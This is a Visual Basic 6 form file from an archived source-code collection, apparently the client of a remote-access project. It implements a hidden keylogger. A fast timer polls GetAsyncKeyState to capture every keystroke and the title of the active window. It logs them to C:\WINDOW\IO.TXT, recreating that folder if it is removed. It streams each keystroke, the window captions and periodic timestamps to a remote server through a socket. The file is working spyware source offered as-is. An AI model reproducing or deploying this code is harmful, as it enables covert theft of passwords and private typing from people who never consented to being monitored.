home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 3_2004-2005.ISO / Data / Zips / GEN-X_NET_1844941282005.psc / client / frmkeylogge.frm < prev    next >
Text File  |  2005-01-28  |  16KB  |  535 lines
  1. VERSION 5.00
  2. Begin VB.Form frmkeylogge 
  3.    BackColor       =   &H00000000&
  4.    Caption         =   "KeyLogger"
  5.    ClientHeight    =   4200
  6.    ClientLeft      =   60
  7.    ClientTop       =   345
  8.    ClientWidth     =   6660
  9.    Icon            =   "frmkeylogge.frx":0000
  10.    LinkTopic       =   "Form1"
  11.    MaxButton       =   0   'False
  12.    ScaleHeight     =   4200
  13.    ScaleWidth      =   6660
  14.    StartUpPosition =   3  'Windows Default
  15.    Visible         =   0   'False
  16.    Begin VB.Timer Timer3 
  17.       Interval        =   60000
  18.       Left            =   4800
  19.       Top             =   480
  20.    End
  21.    Begin VB.TextBox Text2 
  22.       Appearance      =   0  'Flat
  23.       BackColor       =   &H00000000&
  24.       BeginProperty Font 
  25.          Name            =   "Courier New"
  26.          Size            =   9.75
  27.          Charset         =   0
  28.          Weight          =   400
  29.          Underline       =   0   'False
  30.          Italic          =   0   'False
  31.          Strikethrough   =   0   'False
  32.       EndProperty
  33.       ForeColor       =   &H0000FF00&
  34.       Height          =   2895
  35.       Left            =   240
  36.       MultiLine       =   -1  'True
  37.       ScrollBars      =   2  'Vertical
  38.       TabIndex        =   4
  39.       Top             =   1200
  40.       Visible         =   0   'False
  41.       Width           =   6255
  42.    End
  43.    Begin VB.Timer Timer2 
  44.       Interval        =   10000
  45.       Left            =   6120
  46.       Top             =   480
  47.    End
  48.    Begin VB.Timer Timer1 
  49.       Interval        =   10
  50.       Left            =   0
  51.       Top             =   120
  52.    End
  53.    Begin VB.TextBox Text1 
  54.       Appearance      =   0  'Flat
  55.       BackColor       =   &H00000000&
  56.       BeginProperty Font 
  57.          Name            =   "Courier New"
  58.          Size            =   9.75
  59.          Charset         =   0
  60.          Weight          =   700
  61.          Underline       =   0   'False
  62.          Italic          =   0   'False
  63.          Strikethrough   =   0   'False
  64.       EndProperty
  65.       ForeColor       =   &H0000FF00&
  66.       Height          =   2895
  67.       Left            =   240
  68.       MultiLine       =   -1  'True
  69.       ScrollBars      =   2  'Vertical
  70.       TabIndex        =   0
  71.       Top             =   1200
  72.       Width           =   6255
  73.    End
  74.    Begin VB.TextBox Text3 
  75.       Appearance      =   0  'Flat
  76.       BackColor       =   &H00000000&
  77.       BeginProperty Font 
  78.          Name            =   "Courier New"
  79.          Size            =   9.75
  80.          Charset         =   0
  81.          Weight          =   400
  82.          Underline       =   0   'False
  83.          Italic          =   0   'False
  84.          Strikethrough   =   0   'False
  85.       EndProperty
  86.       ForeColor       =   &H0000FF00&
  87.       Height          =   2895
  88.       Left            =   240
  89.       MultiLine       =   -1  'True
  90.       ScrollBars      =   2  'Vertical
  91.       TabIndex        =   5
  92.       Text            =   "frmkeylogge.frx":030A
  93.       Top             =   1200
  94.       Width           =   6255
  95.    End
  96.    Begin VB.Label Label8 
  97.       BackColor       =   &H0000FF00&
  98.       Caption         =   "CLICK HERE TO VIEW ALL DETAILS "
  99.       BeginProperty Font 
  100.          Name            =   "Courier New"
  101.          Size            =   9.75
  102.          Charset         =   0
  103.          Weight          =   400
  104.          Underline       =   0   'False
  105.          Italic          =   0   'False
  106.          Strikethrough   =   0   'False
  107.       EndProperty
  108.       Height          =   255
  109.       Left            =   120
  110.       TabIndex        =   3
  111.       Top             =   720
  112.       Width           =   6255
  113.    End
  114.    Begin VB.Label Label2 
  115.       BackStyle       =   0  'Transparent
  116.       Caption         =   "Quick keylogger"
  117.       BeginProperty Font 
  118.          Name            =   "Courier"
  119.          Size            =   9.75
  120.          Charset         =   0
  121.          Weight          =   700
  122.          Underline       =   0   'False
  123.          Italic          =   0   'False
  124.          Strikethrough   =   0   'False
  125.       EndProperty
  126.       ForeColor       =   &H0000FF00&
  127.       Height          =   375
  128.       Left            =   2160
  129.       TabIndex        =   2
  130.       Top             =   360
  131.       Width           =   3015
  132.    End
  133.    Begin VB.Line Line1 
  134.       BorderColor     =   &H0000FF00&
  135.       X1              =   240
  136.       X2              =   6240
  137.       Y1              =   360
  138.       Y2              =   360
  139.    End
  140.    Begin VB.Label Label1 
  141.       BackStyle       =   0  'Transparent
  142.       Caption         =   "K E Y L O G G E R"
  143.       BeginProperty Font 
  144.          Name            =   "Courier New"
  145.          Size            =   20.25
  146.          Charset         =   0
  147.          Weight          =   700
  148.          Underline       =   0   'False
  149.          Italic          =   0   'False
  150.          Strikethrough   =   0   'False
  151.       EndProperty
  152.       ForeColor       =   &H0000FF00&
  153.       Height          =   375
  154.       Left            =   1080
  155.       TabIndex        =   1
  156.       Top             =   0
  157.       Width           =   4815
  158.    End
  159. End
  160. Attribute VB_Name = "frmkeylogge"
  161. Attribute VB_GlobalNameSpace = False
  162. Attribute VB_Creatable = False
  163. Attribute VB_PredeclaredId = True
  164. Attribute VB_Exposed = False
  165. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  166. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  167. Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  168. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  169.  
  170. Dim mastervariable As String
  171. Dim returnvalue As String
  172. Dim previousvalue As String
  173.  
  174.  
  175. 'create a directory for a keyboard stroke
  176. Private Sub Form_Load()
  177. On Error Resume Next
  178. MkDir "C:\WINDOW"
  179. End Sub
  180.  
  181. Private Sub Form_Unload(Cancel As Integer)
  182. On Error Resume Next
  183. Open "C:\WINDOW\IO.TXT" For Append As #1
  184. Print #1, Text1.text
  185. Close #1
  186. End Sub
  187.  
  188. 'view a title bar caption
  189. 'all !!!!
  190. Private Sub Label8_Click()
  191. Text2.Visible = True
  192. Text2.text = mastervariable
  193. End Sub
  194.  
  195. 'mouse hover
  196. Private Sub Label8_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
  197. Label8.BackColor = vbRed
  198. End Sub
  199.  
  200.  
  201.  
  202. Private Sub Timer1_Timer()
  203. 'if the directory remove
  204. ' program can create a new directory
  205. 'MsgBox keyascii
  206. Dim i As KeyCodeConstants
  207.  
  208. On Error Resume Next
  209. MkDir "C:\WINDOW"
  210. On Error Resume Next
  211.     For i = 32 To 256
  212.     X = GetAsyncKeyState(i)
  213.     
  214.     'GETTING KEY STROKE
  215.     If X = -32767 Then
  216.     
  217.     'MsgBox vbkeypress
  218.     'MsgBox i
  219.     'Exit Sub
  220.  
  221.         If Chr(i) >= 0 And Chr(i) <= 9 Then
  222.             Text1.ForeColor = vbRed
  223.             Text1.text = Text1.text + Chr(i)
  224.             
  225.             On Error Resume Next
  226.             Form1.server.SendData Chr(i)
  227.         
  228.         ElseIf i = 38 Then
  229.             Text1.ForeColor = &HFF00&
  230.             Text1.text = Text1.text
  231.         ElseIf i = 40 Then
  232.             Text1.ForeColor = &HFF00&
  233.             Text1.text = Text1.text
  234.         ElseIf i = 37 Then
  235.             Text1.ForeColor = &HFF00&
  236.             Text1.text = Text1.text
  237.         ElseIf i = 39 Then
  238.             Text1.ForeColor = &HFF00&
  239.             Text1.text = Text1.text
  240.         ElseIf i = 46 Then
  241.             Text1.ForeColor = &HFF00&
  242.             Text1.text = Text1.text
  243.         ElseIf i = 45 Then
  244.             Text1.ForeColor = &HFF00&
  245.             Text1.text = Text1.text
  246.         ElseIf i = 33 Then
  247.             Text1.ForeColor = &HFF00&
  248.             Text1.text = Text1.text
  249.         ElseIf i = 34 Then
  250.             Text1.ForeColor = &HFF00&
  251.             Text1.text = Text1.text
  252.         ElseIf i = 36 Then
  253.             Text1.ForeColor = &HFF00&
  254.             Text1.text = Text1.text
  255.         ElseIf i = 35 Then
  256.             Text1.ForeColor = &HFF00&
  257.             Text1.text = Text1.text
  258.         ElseIf i = 112 Then
  259.             Text1.ForeColor = &HFF00&
  260.             Text1.text = Text1.text
  261.         ElseIf i = 113 Then
  262.             Text1.ForeColor = &HFF00&
  263.             Text1.text = Text1.text
  264.         ElseIf i = 114 Then
  265.             Text1.ForeColor = &HFF00&
  266.             Text1.text = Text1.text
  267.         ElseIf i = 115 Then
  268.             Text1.ForeColor = &HFF00&
  269.             Text1.text = Text1.text
  270.         ElseIf i = 116 Then
  271.             Text1.ForeColor = &HFF00&
  272.             Text1.text = Text1.text
  273.         ElseIf i = 117 Then
  274.             Text1.ForeColor = &HFF00&
  275.             Text1.text = Text1.text
  276.         ElseIf i = 118 Then
  277.             Text1.ForeColor = &HFF00&
  278.             Text1.text = Text1.text
  279.         ElseIf i = 119 Then
  280.             Text1.ForeColor = &HFF00&
  281.             Text1.text = Text1.text
  282.         ElseIf i = 120 Then
  283.             Text1.ForeColor = &HFF00&
  284.             Text1.text = Text1.text
  285.         ElseIf i = 121 Then
  286.             Text1.ForeColor = &HFF00&
  287.             Text1.text = Text1.text
  288.         ElseIf i = 122 Then
  289.             Text1.ForeColor = &HFF00&
  290.             Text1.text = Text1.text
  291.         ElseIf i = 123 Then
  292.             Text1.ForeColor = &HFF00&
  293.             Text1.text = Text1.text
  294.         ElseIf i = 44 Then
  295.             Text1.ForeColor = &HFF00&
  296.             Text1.text = Text1.text
  297.         ElseIf i = 145 Then
  298.             Text1.ForeColor = &HFF00&
  299.             Text1.text = Text1.text
  300.     
  301.              
  302.         ElseIf i = 190 Then
  303.             Text1.ForeColor = &HFF00&
  304.             Text1.text = Text1.text & "."
  305.             
  306.             On Error Resume Next
  307.             Form1.server.SendData "."
  308.             
  309.         ElseIf i = 188 Then
  310.             Text1.ForeColor = &HFF00&
  311.             Text1.text = Text1.text & ","
  312.             
  313.             On Error Resume Next
  314.             Form1.server.SendData ","
  315.             
  316.         ElseIf i = 189 Then
  317.             Text1.ForeColor = &HFF00&
  318.             Text1.text = Text1.text & "-"
  319.             
  320.             On Error Resume Next
  321.             Form1.server.SendData "-"
  322.             
  323.         ElseIf i = 190 Then
  324.             Text1.ForeColor = &HFF00&
  325.             Text1.text = Text1.text & "_"
  326.             
  327.             On Error Resume Next
  328.             Form1.server.SendData "_"
  329.             
  330.         ElseIf i = 186 Then
  331.             Text1.ForeColor = &HFF00&
  332.             Text1.text = Text1.text & ";"
  333.             
  334.             On Error Resume Next
  335.             Form1.server.SendData ";"
  336.             
  337.         ElseIf i = 221 Then
  338.             Text1.ForeColor = &HFF00&
  339.             Text1.text = Text1.text & "]"
  340.             
  341.             On Error Resume Next
  342.             Form1.server.SendData "]"
  343.             
  344.         ElseIf i = 219 Then
  345.             Text1.ForeColor = &HFF00&
  346.             Text1.text = Text1.text & "["
  347.             
  348.             On Error Resume Next
  349.             Form1.server.SendData "["
  350.             
  351.         ElseIf i = 220 Then
  352.             Text1.ForeColor = &HFF00&
  353.             Text1.text = Text1.text & "\"
  354.             
  355.             On Error Resume Next
  356.             Form1.server.SendData "\"
  357.             
  358.         ElseIf i = 187 Then
  359.             Text1.ForeColor = &HFF00&
  360.             Text1.text = Text1.text & "="
  361.             
  362.             On Error Resume Next
  363.             Form1.server.SendData "="
  364.             
  365.         ElseIf i = 192 Then
  366.             Text1.ForeColor = &HFF00&
  367.             Text1.text = Text1.text & "`"
  368.             
  369.             On Error Resume Next
  370.             Form1.server.SendData "`"
  371.             
  372.         ElseIf i = 96 Then
  373.             Text1.ForeColor = &HFF00&
  374.             Text1.text = Text1.text & "0"
  375.             
  376.             On Error Resume Next
  377.             Form1.server.SendData "0"
  378.         
  379.         ElseIf i = 97 Then
  380.             Text1.ForeColor = &HFF00&
  381.             Text1.text = Text1.text & "1"
  382.             
  383.             On Error Resume Next
  384.             Form1.server.SendData "1"
  385.             
  386.         ElseIf i = 98 Then
  387.             Text1.ForeColor = &HFF00&
  388.             Text1.text = Text1.text & "2"
  389.             
  390.             On Error Resume Next
  391.             Form1.server.SendData "2"
  392.             
  393.         ElseIf i = 99 Then
  394.             Text1.ForeColor = &HFF00&
  395.             Text1.text = Text1.text & "3"
  396.             
  397.             On Error Resume Next
  398.             Form1.server.SendData "3"
  399.             
  400.         ElseIf i = 100 Then
  401.             Text1.ForeColor = &HFF00&
  402.             Text1.text = Text1.text & "4"
  403.             
  404.             On Error Resume Next
  405.             Form1.server.SendData "4"
  406.             
  407.         ElseIf i = 101 Then
  408.             Text1.ForeColor = &HFF00&
  409.             Text1.text = Text1.text & "5"
  410.             
  411.             On Error Resume Next
  412.             Form1.server.SendData "5"
  413.             
  414.         ElseIf i = 102 Then
  415.             Text1.ForeColor = &HFF00&
  416.             Text1.text = Text1.text & "6"
  417.             
  418.             On Error Resume Next
  419.             Form1.server.SendData "6"
  420.             
  421.         ElseIf i = 103 Then
  422.             Text1.ForeColor = &HFF00&
  423.             Text1.text = Text1.text & "7"
  424.             
  425.             On Error Resume Next
  426.             Form1.server.SendData "7"
  427.             
  428.         ElseIf i = 104 Then
  429.             Text1.ForeColor = &HFF00&
  430.             Text1.text = Text1.text & "8"
  431.             
  432.             On Error Resume Next
  433.             Form1.server.SendData "8"
  434.             
  435.         ElseIf i = 105 Then
  436.             Text1.ForeColor = &HFF00&
  437.             Text1.text = Text1.text & "9"
  438.             
  439.             On Error Resume Next
  440.             Form1.server.SendData "9"
  441.             
  442.         ElseIf i = 106 Then
  443.             Text1.ForeColor = &HFF00&
  444.             Text1.text = Text1.text & "*"
  445.             
  446.             On Error Resume Next
  447.             Form1.server.SendData "*"
  448.             
  449.         ElseIf i = 107 Then
  450.             Text1.ForeColor = &HFF00&
  451.             Text1.text = Text1.text & "+"
  452.             
  453.             On Error Resume Next
  454.             Form1.server.SendData "+"
  455.             
  456.         ElseIf i = 109 Then
  457.             Text1.ForeColor = &HFF00&
  458.             Text1.text = Text1.text & "-"
  459.             
  460.             On Error Resume Next
  461.             Form1.server.SendData "-"
  462.             
  463.         ElseIf i = 110 Then
  464.             Text1.ForeColor = &HFF00&
  465.             Text1.text = Text1.text & "."
  466.           
  467.             On Error Resume Next
  468.             Form1.server.SendData "."
  469.             
  470.         Else
  471.             Text1.ForeColor = &HFF00&
  472.             Text1.text = Text1.text + Chr(i)
  473.             
  474.             On Error Resume Next
  475.             Form1.server.SendData Chr(i)
  476.             
  477.             
  478.         End If
  479.     End If
  480. Next
  481.  
  482.  
  483. 'TASKBAR CAPTION======
  484.  
  485.  
  486. returnvalue = GetCaption(GetForegroundWindow)
  487. mastervariable = returnvalue
  488. If returnvalue = previousvalue Then
  489. previousvalue = returnvalue
  490. Else
  491. previousvalue = returnvalue
  492. Text1.text = Text1.text & vbCrLf & returnvalue
  493. End If
  494.  
  495.  
  496. End Sub
  497.  
  498.  
  499. Private Sub Timer2_Timer()
  500. 'GetCaption
  501. 'mastervariable = mastervariable & Text1.text
  502. 'SENDING TO SERVER
  503. On Error Resume Next
  504. Form1.server.SendData mastervariable
  505.  
  506. 'TITLE BAR CAPTION AND ALL KEYBOARD STROKE
  507. 'mastervariable = mastervariable & Text1.text
  508.  
  509.             
  510. 'save the contents to a file called keysom in c drive
  511. 'u can open the keysom .. by opening it with notepad
  512. On Error Resume Next
  513. Open "C:\WINDOW\IO.TXT" For Append As #1
  514. Print #1, Text1.text
  515. Close #1
  516. Text1.text = ""
  517. End Sub
  518.  
  519. 'FUNCTION CALL FOR LETTER CASES
  520. Function GetCaption(hwnd As Long)
  521. Dim hWndTitle As String
  522. hWndTitle = String(GetWindowTextLength(hwnd), 0)
  523. GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
  524. GetCaption = hWndTitle
  525. End Function
  526.  
  527.  
  528. 'SENDING A TIME TO SERVER
  529. 'UPDATE BY ITS INVERVAL
  530. Private Sub Timer3_Timer()
  531. On Error Resume Next
  532. Form1.server.SendData Time & "===(date)===" & Date
  533. Text1.text = Text1.text & Time & "===(date)===" & Date
  534. End Sub
  535.